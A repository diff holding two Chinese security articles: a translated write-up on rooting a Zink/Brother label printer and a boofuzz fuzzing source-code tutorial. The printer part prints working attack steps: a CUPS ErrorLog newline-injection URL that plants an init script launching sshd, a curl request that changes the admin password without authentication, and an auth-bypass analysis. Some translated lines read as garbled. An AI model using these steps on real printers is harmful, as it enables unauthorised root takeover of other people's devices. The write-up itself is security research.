总之,在我思考了资本主义之后,我决定将文件设置为 S91zink,并将 ErrorLog 文件设置为
|
||||
/etc/init.d/S91zink,然后调用了一个不存在的 URL [http://192.168.247.17:631/%0a/usr/sbin/sshd%0](http://192.168.247.17:631/%0a/usr/sbin/sshd%0)
|
||||
a。为了确保清楚,我将 ErrorLog 恢复为默认设置,并重启了打印机。
|
||||
…它再也没有启动。我感到很困惑,但已经天亮了,所以我决定休息一下。第二天,我得找到 UART 来
|
||||
修复它。
|
||||
|
||||
# 拆卸
|
||||
|
||||
本部分包含有关设备的物理详细信息;
|
||||
这台打印机不会因为易于用户维修而获奖。兄弟公司的用户文档也没有提到关于打开设备进行维护的任
|
||||
何信息,所以我只能靠自己。
|
||||
如果纸盒被取出,从底部可以看到三个螺丝。但这些螺丝并不是问题所在——它们只是固定纸盒的组
|
||||
件。问题在于:没有其他可见的螺丝,而虽然白色侧面板上有几个卡扣,但在这种状态下尝试撬开侧面
|
||||
板却没有成功。
|
||||
用尽了所有想法并且急于找到答案,我飞到日本,尝试分析机壳的其他部分。我本来没指望在黑色顶部
|
||||
部分下面会有任何东西,但还是出于好奇把它撬开了。
|
||||
|
||||

|
||||
|
||||
……令我大吃一惊的是,竟然发现了螺丝!另外,友情提示:看来你可以不用撬棍就能把顶部拆下——
|
||||
设备底部后面有一个小孔(我认为)可以通过这个孔插入螺丝刀来推开顶部。给 Zink 点个赞,设计很
|
||||
不错!
|
||||
|
||||

|
||||
在拆下第二层塑料之后……我们看到了更多一点,但仍然不多。透过一个孔,我发现了我们的‘奖励’,四
|
||||
个看起来像是 UART 接口的焊点。
|
||||
|
||||

|
||||
|
||||
为了拆下第三层塑料,你必须移除前面的纸张感应器——它下面还有两个螺丝。之后,白色的侧壁应该
|
||||
就能向上滑动了。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# 修复故障,出了什么问题?
|
||||
有了 UART,我进入了 shell。在启动过程中,我还发现相同的 UART 接口提供了对U-boot 的无限制访
|
||||
问,这在将新内核移植到设备时可能会派上用场(如果有人想做这件事的话)。
|
||||
|
||||

|
||||
|
||||
很快找到了我破坏的地方:一些 init 文件无法执行。还记得我写过 CUPS 的 PageLog 指令几乎未标记
|
||||
文件时吗?...嗯,它改变了权限。
|
||||
|
||||
```
|
||||
# mount
|
||||
rootfs on / type rootfs (rw)
|
||||
ubi0 on / type ubifs (rw,relatime)
|
||||
proc on /proc type proc (rw,relatime)
|
||||
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620,ptmxmode=000)
|
||||
tmpfs on /tmp type tmpfs (rw,relatime,size=61440k)
|
||||
sysfs on /sys type sysfs (rw,relatime)
|
||||
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
|
||||
ubi1_0 on /local type ubifs (rw,relatime)
|
||||
```
|
||||
是的,默认情况下,整个 rootfs 以读/写方式挂载。危险!
|
||||
# 固件的进一步分析
|
||||
在写这篇博客时,我发现自己在阅读各种初始化脚本和microPerl 程序,以仔细检查自己和我之前的假
|
||||
设。多亏了这一点,我发现了......关于固件的更多奇怪之处:
|
||||
|
||||
### 密码身份认证
|
||||
密码更改调用。呀,未经身份验证的密码更改!
|
||||
|
||||
```
|
||||
curl http://192.168.247.17/cgi-bin/postdata \
|
||||
-d 'passwordStr=uwu'
|
||||
```
|
||||
这个设备上的管理员密码总体上是个有趣的存在。它以未哈希、未加密的形式存储在
|
||||
/etc/www/config/webconfig.xml 文件中;至少,它是针对每个设备单独设置的,并且还会打印在底部
|
||||
标签上!
|
||||
...或者至少我希望它是按设备计算的......
|
||||
从我的设备转储webconfig.xml:
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<config>
|
||||
<password_chk_str>true</password_chk_str>
|
||||
<password_str>meow</password_str>
|
||||
<geo_location>0.0,0.0</geo_location>
|
||||
<airprint_etag>0.00</airprint_etag>
|
||||
</config>
|
||||
```
|
||||
|
||||
缩进会受到影响,因为 /system/www/scripts/setDeviceInfo 使用 sed ;-; 编辑此文件。
|
||||
网页界面验证密码的方式更是奇葩。前端会发起一个 GET 请求到 /cgi-bin/getdata?checkPassword,
|
||||
然后一个microPerl 脚本……用 awk 解析 webconfig.xml,并返回结果。第一个脚本再把这个值放到一
|
||||
个 gulp 在浏览器中被评估的地方:
|
||||
|
||||
GET /cgi-bin/getdata?checkPassword的响应
|
||||
|
||||
|
||||
```
|
||||
var isSetPassword=true;
|
||||
var checkPassword=true;
|
||||
```
|
||||
如果 checkPassword 为 true,则前端将密码 POST 到 /cgi-bin/postdata。如果匹配,用户将获得重定
|
||||
向,并且一些粗制滥造的 JS 代码会使用密码设置 cookie。大家接着正常进行他们的一天。
|
||||
|
||||
时:如果 checkPassword 被设置为false,密码永远不会被检查;这只是前端的一个表面改动:无论设
|
||||
置如何,后端永远都不会检查 cookie!!身份验证仅仅是对浏览器的一个骗局,任何请求的失败都能打
|
||||
破这个骗局。一些子页面,像 /certs.html 假设你必须要经过身份验证的过程,所以……它们甚至从来不
|
||||
会检查 cookie!
|
||||
|
||||
我简直无法想出更糟糕、更诅咒的‘身份验证’流程。如果我再努力想象也做不出这么差的方案。这在
|
||||
2024 年显然是极其糟糕的,但在发布那天的已经非常糟糕了。
|
||||
|
||||
# 仔细查看 postdata
|
||||
通过 Web 界面公开的绝大多数数据是通过 getdata 请求的,并通过 postdata 修改的。这两个都是
|
||||
microPerl 脚本,它们处理请求数据的解析和清理,然后调用另一个 microPerl 脚本来执行实际的读取/
|
||||
写入。
|
||||
|
||||
```
|
||||
# (...)
|
||||
my $nextPage = "";
|
||||
$ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/;
|
||||
if ($ENV{'REQUEST_METHOD'} eq "POST")
|
||||
{
|
||||
&parseDataPost;
|
||||
print "Location: $nextPage\n\n";
|
||||
}
|
||||
exit(0);
|
||||
# (...)
|
||||
```
|
||||
这个文件一开始包含一些与环境解析无关的粘合代码,然后立刻检查 CGI 的 REQUEST_METHOD 变
|
||||
量。注意这个 if 语句中的 print 语句.
|
||||
|
||||
```
|
||||
sub parseDataPost {
|
||||
local ($buffer, @pairs, $pair, $name, $value);
|
||||
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
|
||||
# Split information into name/value pairs and decode url-encoded data.
|
||||
@pairs = split(/&/, $buffer);
|
||||
foreach $pair (@pairs)
|
||||
{
|
||||
($name, $value) = split(/=/, $pair,2);
|
||||
$value =~ tr/+/ /;
|
||||
$value =~ s/%(..)/pack("C", hex($1))/eg;
|
||||
&writeToFile($name,$value);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
接下来调用 parseDataPost,它只是逐个反序列化 POST 参数。注意 foreach 里面的廉价 urldecode...
|
||||
|
||||
```
|
||||
sub writeToFile {
|
||||
my $str = $_[1];
|
||||
if($_[0] eq "passwordStr") {
|
||||
$str = changeEscapeStr($str);
|
||||
$str =~ s/&/\\&/g;
|
||||
&setVars("password_str",$str);
|
||||
} elsif($_[0] eq "printerName") {
|
||||
&setVars("printer_name",$_[1]);
|
||||
} elsif($_[0] eq "printerLoc") {
|
||||
&setVars("printer_loc",$_[1]);
|
||||
} elsif($_[0] eq "geoLoc") {
|
||||
&setVars("geo_location",$_[1]);
|
||||
} elsif($_[0] eq "cropEnabled") {
|
||||
&setVars("crop_enabled",$_[1]);
|
||||
} elsif($_[0] eq "NextPage") {
|
||||
$nextPage = $_[1];
|
||||
} elsif($_[0] eq "clearPassword") {
|
||||
&clearPassInfoVars();
|
||||
} elsif($_[0] eq "checkPassword") {
|
||||
if(changeEscapeStr($_[1]) eq &getVar("password_str")){
|
||||
&setVars("password_chk_str",true);
|
||||
} else {
|
||||
&setVars("password_chk_str",false);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
继续往下看,writeToFile 决定如何处理输入。如果名称是 NextPage,则会设置一个变量,而没有进一
|
||||
步的检查……嘿,你察觉到了这段代码有潜在风险吗?
|
||||
|
||||

|
||||
|
||||
NextPage 存在数据注入漏洞!虽然它是反射型的,所以我们不能从中获得太多实质性的信息,但看到
|
||||
这种情况仍然很有趣。
|
||||
|
||||
```
|
||||
sub changeEscapeStr {
|
||||
my $str = $_[0];
|
||||
$str =~ s/&/&/g;
|
||||
$str =~ s/</</g;
|
||||
$str =~ s/>/>/g;
|
||||
$str =~ s/"/"/g;
|
||||
$str =~ s/'/'/g;
|
||||
$str =~ s/\*/*/g;
|
||||
# $str =~ s/&/\\&/g;
|
||||
return $str;
|
||||
}
|
||||
```
|
||||
|
||||
不知何故,即使存在所有这些问题,我们仍然无法获得免费的 RCE。在少数地方,固件通过引号巧妙地
|
||||
得以保护,而在至少一个地方则是通过参数分割。尽管如此,这些代码依然不够好。
|
||||
|
||||
整个冒险过程中最令人瞠目结舌的部分,或许就是看到基础镜像是多么的混乱和杂乱。像 /etc/www 这
|
||||
样的结构,混乱的符号链接将不同的目录互相连接,看起来毫无目的,以及随意丢弃的东西,完全没有
|
||||
对整个系统如何运作的理解等等。
|
||||
|
||||

|
||||
|
||||
对于不熟悉的人来说,ko 文件是内核对象,也就是内核模块。简单来说,模块可以扩展内核的功能,
|
||||
使其能够与额外的设备进行通信(因此,它们实际上是驱动程序)。在常见的系统中,这些模块通常位
|
||||
于 /lib/modules/ 下的特定目录结构中,由侦听硬件更改的进程加载。/etc 是...对于内核模块来说,这
|
||||
是一个相当不寻常的地方。
|
||||
|
||||
```
|
||||
# Load WiFi module.
|
||||
if lsusb | grep 0bda:0179 > /dev/null
|
||||
then
|
||||
# Brother rtl8188eu
|
||||
insmod /etc/8188eu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1
|
||||
elif lsusb | grep 0bda:f179 > /dev/null
|
||||
then
|
||||
# Brother rtl8188fu ( Gabe's modified version 2/5/2021 )
|
||||
insmod /etc/8188fu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1
|
||||
else
|
||||
# hAppy *** obsolete unless we retain WEXT for rtl8188eu
|
||||
insmod /etc/8192cu.ko
|
||||
fi
|
||||
```
|
||||
其中一个初始化文件提到这两个文件,以及另一个文件。虽然我们无法确切确定这些模块的来源,但这
|
||||
个 GitHub 仓库是我最好的猜测。该代码以 GPL-2.0 许可发布,而初始化文件提到一个‘修改版本’……我
|
||||
闻到了许可违规的味道吗?:^
|
||||
|
||||
# 固件升级流程
|
||||
|
||||
我没有像我想的那样深入研究这个问题(原因是没时间);cgi-bin 里有一个 microPerl 脚本处理下
|
||||
载,然后 /usr/bin/upgrade 负责解密和解压镜像。值得注意的是,旧文件不会被删除,这使得更改的
|
||||
持久化变得非常简单——即使在测试升级后,我的 sshd 仍然能启动 :3c。
|
||||
|
||||
我不需要深入研究固件加密,所以我只知道密钥在升级可执行文件中的某个位置进行了硬编码。同样,
|
||||
我只浏览了 certmgr 二进制文件,它赞助了整个漏洞 - 我将这两件事留给读者作为摘录。
|
||||
|
||||
# 现在怎么办呢?
|
||||
我不知道!虽然所有这些设备都不安全,但(谢天谢地)他们对云连接的依赖很少——除了从 AWS S3
|
||||
获取更新之外,没有什么看起来像是向外传递数据。这限制了大多数攻击向量到局域网内。Zink 显然不
|
||||
在乎安全问题——他们不仅在将近 10 年内没有发布安全更新,而且他们的固件在发布当天就已经存在
|
||||
漏洞。此外,他们自己的软件存在明显的漏洞,有些部分缺失或匆忙实现。这是‘物联网中S代表安全’教
|
||||
科书式的例子。
|
||||
|
||||
拥有 root 权限后,可以实现一些解决方案来缓解这些安全问题,从而使设备变得稍微不那么容易被攻
|
||||
陷。因此,我认为如果你拥有这些设备,可以尝试以下方法:黑进设备,禁用远程 CUPS 配置编辑,并
|
||||
彻底禁用 lighttpd。这应该能在一定程度上提高安全性,至少对我所描述的漏洞有效。
|
||||
我自己正在制作一个小型应用程序,允许从设备本身的 Web 服务器直接打印标签,因为这最终将减少
|
||||
我将来必须接触 CUPS 的次数。当它准备好时,它会被推送到漏洞利用仓库 :3
|
||||
@@ -0,0 +1,751 @@
|
||||
# boofuzz 源码笔记(一)
|
||||
> Ayaka
|
||||
> 来源:https://www.iotsec-zone.com/article/322
|
||||
|
||||
# boofuzz的安装和基本用法
|
||||
**Boofuzz**是一个基于生成(generation-based)的协议Fuzz工具,它通过python语言来描述协议的格式,是经典模糊测试框架**Sulley**的继承者,除了众多的bug修复之外,boofuzz还致力于扩展性。Boofuzz对协议的模糊测试有着良好的支持,且其代码开源,目前被广泛使用。
|
||||
|
||||
为什么boofuzz对物联网设备有着非常良好的模糊测试效果呢?究其原因其实是因为物联网设备中设计到了大量的协议,常见的如tcp,udp,mqtt,upnp等等,还有一些各个厂商自己设计的协议等等,而boofuzz则是一款对于协议模糊测试效果非常出众的模糊测试框架。
|
||||
|
||||
boofuzz还有一个非常出众的地方,由于它是全python代码,所以可以直接通过一条命令来安装:
|
||||
```bash
|
||||
pip install boofuzz
|
||||
```
|
||||
|
||||
在开始使用boofuzz之前,先来了解一下boofuzz的基本语法,boofuzz的一些比较常用的原语如下:
|
||||
**静态和随机的原始类型**
|
||||
* s_static():最简单的原始类型,它向请求中添加一个静态的,任意长度的未变异的值,别名:s_dunno(),s_raw(),s_unknown()
|
||||
* s_binary():它可以接收多种格式来表示的二进制数据
|
||||
* s_random():它被用来生成不同长度的随机数据
|
||||
|
||||
**整数类型**
|
||||
* 单字节:s_byte()或s_char()
|
||||
* 双字节:s_word()或s_short()
|
||||
* 四字节:s_dword(),s_long(),s_int()
|
||||
* 八字节:s_qword()或s_double()
|
||||
每个整数类型至少接收一个参数当做整数值,还可以指定以下参数:
|
||||
* endian:默认为'<',即大小端序
|
||||
* format:可以指定为binary或ascii,默认为binary,控制整数的显示格式,ascii则显示100,binary则显示\x64
|
||||
* signed:默认false,控制数字显示的时候是有符号还是无符号,只有当format为ascii的时候这个设置才生效
|
||||
* fuzzable:默认为True,即是否对该原始类型进行模糊测试
|
||||
* name:默认是None,指定名字就可以在整个请求中直接访问该原始类型
|
||||
|
||||
**字符串和分隔符**
|
||||
模糊测试的过程中必然会涉及到很多字符串,比如邮件地址,主机名,用户名, 密码等等都是字符串
|
||||
- s_string()用来表示字符串原始类型,至少有一个参数作为有效值,也可以指定如下额外关键字参数
|
||||
- size():默认值为-1,表示该字符串的静态大小,如果是动态代销则为-1
|
||||
- Padding():用于补足字符串,如果size被指定,且生成的字符串小于该大小,则用padding里的参数补足字符串,默认\x00
|
||||
- fuzzable():用于指定是否进行变异
|
||||
- name():指定一个label用于访问
|
||||
|
||||
session对象是fuzz的核心,创建session时,会传递一个target对象,该对象接收一个connection对象,例如
|
||||
```python
|
||||
session = Session(
|
||||
target=Target(
|
||||
connection=SocketConnection("127.0.0.1", 8021, proto='tcp')))
|
||||
```
|
||||
|
||||
如果要写一个简单的fuzzing,首先写好一个session,然后使用s_initialize初始化一个请求
|
||||
```python
|
||||
s_initialize("new request")
|
||||
```
|
||||
然后新建一个块,添加各个所需字段:
|
||||
```python
|
||||
with s_block("Request-Line"):
|
||||
s_group("Method", ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE'])
|
||||
s_delim(" ", name='space-1')
|
||||
s_string("/index.html", name='Request-URI')
|
||||
s_delim(" ", name='space-2')
|
||||
s_string('HTTP/1.1', name='HTTP-Version')
|
||||
s_static("\r\n", name="Request-Line-CRLF")
|
||||
```
|
||||
最后调用
|
||||
```python
|
||||
session.fuzz()
|
||||
```
|
||||
开始模糊测试
|
||||
|
||||
其中涉及到的具体就session,block这些东西暂且不深究,拿到后面的源码分析里说。
|
||||
|
||||
运行起来以后,可以看到
|
||||

|
||||
发送了大量的经过变异后的数据,并且可以通过 localhost:26000 的可视化界面查看fuzzing进度。
|
||||
|
||||
上面的例子是随意一个tcp协议都可以跑的,如果要针对路由器的某个功能进行针对性的fuzzing,则需要抓包以后对数据包中的各个有效字段进行设置,例如我要fuzzing D-link公司的某款路由器的某个功能,可以写出如下代码:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# Designed for use with boofuzz v0.0.9
|
||||
from boofuzz import *
|
||||
|
||||
def main():
|
||||
session = Session(
|
||||
target=Target(
|
||||
connection=SocketConnection("192.168.0.1", 80, proto='tcp')
|
||||
),
|
||||
)
|
||||
s_initialize(name="Request")
|
||||
with s_block("Request-header"):
|
||||
#line1
|
||||
s_static("GET",name='method')
|
||||
s_static(" ", name='space-1-1')
|
||||
s_static("/setup.php", name='Request-URI')
|
||||
s_static(" ", name='space-1-2')
|
||||
s_static('HTTP/1.1', name='HTTP-Version')
|
||||
s_static("\r\n", name="Request-Line-CRLF")
|
||||
|
||||
#line2
|
||||
s_static("Host:")
|
||||
s_static(" ",name='space-2-1')
|
||||
s_static("192.168.0.1",name='ip')
|
||||
s_static('\r\n')
|
||||
|
||||
#line3
|
||||
s_static("Upgrade-Insecure-Requests:")
|
||||
s_static(" ")
|
||||
s_static("1")
|
||||
s_static("\r\n")
|
||||
#line4
|
||||
s_static("User-Agent:")
|
||||
s_static(" ")
|
||||
s_static("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36")
|
||||
s_static("\r\n")
|
||||
#line5
|
||||
s_static("Accept:")
|
||||
s_static(" ")
|
||||
s_static("text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
|
||||
s_static("\r\n")
|
||||
#line6
|
||||
s_static("Referer:")
|
||||
s_static(" ")
|
||||
s_static("http://192.168.0.1/adv_app.php")
|
||||
s_static("\r\n")
|
||||
#line7
|
||||
s_static("Accept-Encoding:")
|
||||
s_static(" ")
|
||||
s_static("gzip, deflate")
|
||||
s_static("\r\n")
|
||||
#line8
|
||||
s_static("Accept-Language:")
|
||||
s_static(" ")
|
||||
s_static("en-US,en;q=0.9")
|
||||
s_static("\r\n")
|
||||
#line 9 important
|
||||
s_static("Cookie:")
|
||||
s_static(" ")
|
||||
s_static("SESSION_ID=")
|
||||
s_string("2:1420071526:2;",fuzzable=True)
|
||||
s_static(" ")
|
||||
s_static("uid=")
|
||||
s_string("j0pRtxh7sf",fuzzable=True)
|
||||
s_static("\r\n")
|
||||
#line10
|
||||
s_static("Connection:")
|
||||
s_static(" ")
|
||||
s_static("close")
|
||||
s_static("\r\n")
|
||||
s_static("\r\n", "Request-CRLF")
|
||||
|
||||
session.connect(s_get("Request"))
|
||||
|
||||
session.fuzz()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
'''
|
||||
GET /setup.php HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Referer: http://192.168.0.1/adv_app.php
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Cookie: SESSION_ID=2:1420071526:2; uid=j0pRtxh7sf
|
||||
Connection: close
|
||||
'''
|
||||
```
|
||||
|
||||
到这里已经简要的说明了boofuzz的安装和基本的使用方法,接下来开始逐步深入boofuzz的内部
|
||||
|
||||
# boofuzz的代码结构
|
||||
先来看一张源码结构图
|
||||

|
||||
|
||||
有一些模块的代码从源码分析的角度上来说意义并不是非常大或者优先级并不高,对整体fuzzing框架逻辑影响不明显的,就没有在思维导图中展开说明,比如web中的代码是为了构建我们在 localhost:26000 中所看到的可视化界面,utils中的代码则是一些通用性比较高的单元工具,connnections则是因为更适合当成一个整体来说,所以没有对内部的代码结构进行分析。
|
||||
|
||||
除了上述结构的代码之外,boofuzz还有一些核心代码,如sessions.py,fuzzers.py等等,后面将逐步进行分析。
|
||||
|
||||
# boofuzz的源码分析
|
||||
从这里开始进入真正的源码分析,既然是源码分析,那总要有一个顺序,或者说以什么为指导去进行源码分析,首先肯定要满足简单和普适的原则,至少要讲boofuzz的基本功能涵盖进去。思来想去,与其自己写一个,不如直接用官方给的。
|
||||
|
||||
本系列文章将首先以官方给出的fuzzing tcp协议的小案例为指导,逐步分析boofuzz源代码。之后会继续深入boofuzz的其他功能以及进行框架的扩展。
|
||||
|
||||
首先来看看官方给出的案例:
|
||||
|
||||
```python
|
||||
from boofuzz import *
|
||||
|
||||
def main():
|
||||
session = Session(
|
||||
target=Target(
|
||||
connection=SocketConnection("127.0.0.1", 80, proto='tcp')
|
||||
),
|
||||
)
|
||||
|
||||
s_initialize(name="Request")
|
||||
with s_block("Request-Line"):
|
||||
s_group("Method", ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE'])
|
||||
s_delim(" ", name='space-1')
|
||||
s_string("/index.html", name='Request-URI')
|
||||
s_delim(" ", name='space-2')
|
||||
s_string('HTTP/1.1', name='HTTP-Version')
|
||||
s_static("\r\n", name="Request-Line-CRLF")
|
||||
s_static("\r\n", "Request-CRLF")
|
||||
|
||||
session.connect(s_get("Request"))
|
||||
|
||||
session.fuzz()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
来逐行分析main函数中的代码
|
||||
|
||||
首先是这句代码:
|
||||
```python
|
||||
Session(
|
||||
target=Target(
|
||||
connection=SocketConnection("127.0.0.1", 80, proto='tcp')
|
||||
),
|
||||
```
|
||||
|
||||
一个三层嵌套的构造,最外层构建了一个Session类,接收一个target参数,是一个Target类,这个类还接收了一个connection参数,是一个SocketConnection,在分析的时候采用从里到外的方式分析,先来看看SocketConnection是个什么东西:
|
||||
|
||||
在/
|
||||
```python
|
||||
def SocketConnection(
|
||||
host,
|
||||
port=None,
|
||||
proto="tcp",
|
||||
bind=None,
|
||||
send_timeout=5.0,
|
||||
recv_timeout=5.0,
|
||||
ethernet_proto=None,
|
||||
l2_dst=b"\xFF" * 6,
|
||||
udp_broadcast=False,
|
||||
server=False,
|
||||
sslcontext=None,
|
||||
server_hostname=None,
|
||||
):
|
||||
"""ITargetConnection implementation using sockets.
|
||||
|
||||
Supports UDP, TCP, SSL, raw layer 2 and raw layer 3 packets.
|
||||
|
||||
.. note:: SocketConnection is deprecated and will be removed in a future version of Boofuzz.
|
||||
Use the classes derived from :class:`BaseSocketConnection <boofuzz.connections.BaseSocketConnection>` instead.
|
||||
|
||||
.. versionchanged:: 0.2.0
|
||||
SocketConnection has been moved into the connections subpackage.
|
||||
The full path is now boofuzz.connections.socket_connection.SocketConnection
|
||||
|
||||
.. deprecated:: 0.2.0
|
||||
Use the classes derived from :class:`BaseSocketConnection <boofuzz.connections.BaseSocketConnection>` instead.
|
||||
|
||||
Examples::
|
||||
|
||||
tcp_connection = SocketConnection(host='127.0.0.1', port=17971)
|
||||
udp_connection = SocketConnection(host='127.0.0.1', port=17971, proto='udp')
|
||||
udp_connection_2_way = SocketConnection(host='127.0.0.1', port=17971, proto='udp', bind=('127.0.0.1', 17972)
|
||||
udp_broadcast = SocketConnection(host='127.0.0.1', port=17971, proto='udp', bind=('127.0.0.1', 17972),
|
||||
udp_broadcast=True)
|
||||
raw_layer_2 = (host='lo', proto='raw-l2')
|
||||
raw_layer_2 = (host='lo', proto='raw-l2',
|
||||
l2_dst='\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF', ethernet_proto=socket_connection.ETH_P_IP)
|
||||
raw_layer_3 = (host='lo', proto='raw-l3')
|
||||
|
||||
Args:
|
||||
host (str): Hostname or IP address of target system, or network interface string if using raw-l2 or raw-l3.
|
||||
port (int): Port of target service. Required for proto values 'tcp', 'udp', 'ssl'.
|
||||
proto (str): Communication protocol ("tcp", "udp", "ssl", "raw-l2", "raw-l3"). Default "tcp".
|
||||
raw-l2: Send packets at layer 2. Must include link layer header (e.g. Ethernet frame).
|
||||
raw-l3: Send packets at layer 3. Must include network protocol header (e.g. IPv4).
|
||||
bind (tuple (host, port)): Socket bind address and port. Required if using recv() with 'udp' protocol.
|
||||
send_timeout (float): Seconds to wait for send before timing out. Default 5.0.
|
||||
recv_timeout (float): Seconds to wait for recv before timing out. Default 5.0.
|
||||
ethernet_proto (int): Ethernet protocol when using 'raw-l3'. 16 bit integer.
|
||||
Default ETH_P_IP (0x0800) when using 'raw-l3'. See "if_ether.h" in Linux documentation for more options.
|
||||
l2_dst (str): Layer 2 destination address (e.g. MAC address). Used only by 'raw-l3'.
|
||||
Default '\xFF\xFF\xFF\xFF\xFF\xFF' (broadcast).
|
||||
udp_broadcast (bool): Set to True to enable UDP broadcast. Must supply appropriate broadcast address for send()
|
||||
to work, and '' for bind host for recv() to work.
|
||||
server (bool): Set to True to enable server side fuzzing.
|
||||
sslcontext (ssl.SSLContext): Python SSL context to be used. Required if server=True or server_hostname=None.
|
||||
server_hostname (string): server_hostname, required for verifying identity of remote SSL/TLS server.
|
||||
|
||||
"""
|
||||
|
||||
warnings.warn(
|
||||
"SocketConnection is deprecated and will be removed in a future version of Boofuzz. "
|
||||
"Use the classes derived from BaseSocketConnection instead.",
|
||||
FutureWarning,
|
||||
)
|
||||
if proto not in _PROTOCOLS:
|
||||
raise exception.SullyRuntimeError("INVALID PROTOCOL SPECIFIED: %s" % proto)
|
||||
|
||||
if proto in _PROTOCOLS_PORT_REQUIRED and port is None:
|
||||
raise ValueError("__init__() argument port required for protocol {0}".format(proto))
|
||||
|
||||
if proto == "udp":
|
||||
return udp_socket_connection.UDPSocketConnection(
|
||||
host, port, send_timeout, recv_timeout, server, bind, udp_broadcast
|
||||
)
|
||||
elif proto == "tcp":
|
||||
return tcp_socket_connection.TCPSocketConnection(host, port, send_timeout, recv_timeout, server)
|
||||
elif proto == "ssl":
|
||||
return ssl_socket_connection.SSLSocketConnection(
|
||||
host, port, send_timeout, recv_timeout, server, sslcontext, server_hostname
|
||||
)
|
||||
elif proto == "raw-l2":
|
||||
return raw_l2_socket_connection.RawL2SocketConnection(host, send_timeout, recv_timeout)
|
||||
elif proto == "raw-l3":
|
||||
if ethernet_proto is None:
|
||||
ethernet_proto = raw_l3_socket_connection.ETH_P_IP
|
||||
|
||||
return raw_l3_socket_connection.RawL3SocketConnection(host, send_timeout, recv_timeout, ethernet_proto, l2_dst)
|
||||
```
|
||||
|
||||
从源码中可以看到,所谓的SocketConnection,更像是一个wrapper或者说分发器,根据用户传入的proto字段,进行函数的选择,如果选择的是tcp,则会去调用connection目录下实现的tcp_socket_connection,如果选择的是udp,则会去调用udp_socket_connection,而其他的参数如host,port,timeout类的参数则会原封不动的传递给细化的connection实现函数。
|
||||
|
||||
boofuzz中实现了一部分的协议,如果遇到一些非主流协议也可以自行设计一个socket_connection函数,然后添加到上面去,根据proto字段进行选择,这也是为什么说boofuzz的可扩展性很强,代码之间耦合度较低,可以很方便的进行模块开发,对于boofuzz已经实现了的协议,我们来挑选一个最主流的tcp协议深入进去学习一下:
|
||||
```python
|
||||
from __future__ import absolute_import
|
||||
|
||||
import errno
|
||||
import socket
|
||||
import sys
|
||||
|
||||
from future.utils import raise_
|
||||
|
||||
from boofuzz import exception
|
||||
from boofuzz.connections import base_socket_connection
|
||||
|
||||
class TCPSocketConnection(base_socket_connection.BaseSocketConnection):
|
||||
"""BaseSocketConnection implementation for use with TCP Sockets.
|
||||
|
||||
.. versionadded:: 0.2.0
|
||||
|
||||
Args:
|
||||
host (str): Hostname or IP adress of target system.
|
||||
port (int): Port of target service.
|
||||
send_timeout (float): Seconds to wait for send before timing out. Default 5.0.
|
||||
recv_timeout (float): Seconds to wait for recv before timing out. Default 5.0.
|
||||
server (bool): Set to True to enable server side fuzzing.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, host, port, send_timeout=5.0, recv_timeout=5.0, server=False):
|
||||
super(TCPSocketConnection, self).__init__(send_timeout, recv_timeout)
|
||||
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.server = server
|
||||
self._serverSock = None
|
||||
|
||||
def close(self):
|
||||
super(TCPSocketConnection, self).close()
|
||||
|
||||
if self.server:
|
||||
self._serverSock.close()
|
||||
|
||||
def open(self):
|
||||
self._open_socket()
|
||||
self._connect_socket()
|
||||
|
||||
def _open_socket(self):
|
||||
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# call superclass to set timeout sockopt
|
||||
super(TCPSocketConnection, self).open()
|
||||
|
||||
def _connect_socket(self):
|
||||
if self.server:
|
||||
self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
try:
|
||||
self._sock.bind((self.host, self.port))
|
||||
except socket.error as e:
|
||||
if e.errno == errno.EADDRINUSE:
|
||||
raise exception.BoofuzzOutOfAvailableSockets()
|
||||
else:
|
||||
raise
|
||||
|
||||
self._serverSock = self._sock
|
||||
try:
|
||||
self._serverSock.listen(1)
|
||||
self._sock, addr = self._serverSock.accept()
|
||||
except socket.error as e:
|
||||
# When connection timeout expires, tear down the server socket so we can re-open it again after
|
||||
# restarting the target.
|
||||
self.close()
|
||||
if e.errno in [errno.EAGAIN]:
|
||||
raise exception.BoofuzzTargetConnectionFailedError(str(e))
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
try:
|
||||
self._sock.connect((self.host, self.port))
|
||||
except socket.error as e:
|
||||
if e.errno == errno.EADDRINUSE:
|
||||
raise exception.BoofuzzOutOfAvailableSockets()
|
||||
elif e.errno in [errno.ECONNREFUSED, errno.EINPROGRESS, errno.ETIMEDOUT]:
|
||||
raise exception.BoofuzzTargetConnectionFailedError(str(e))
|
||||
else:
|
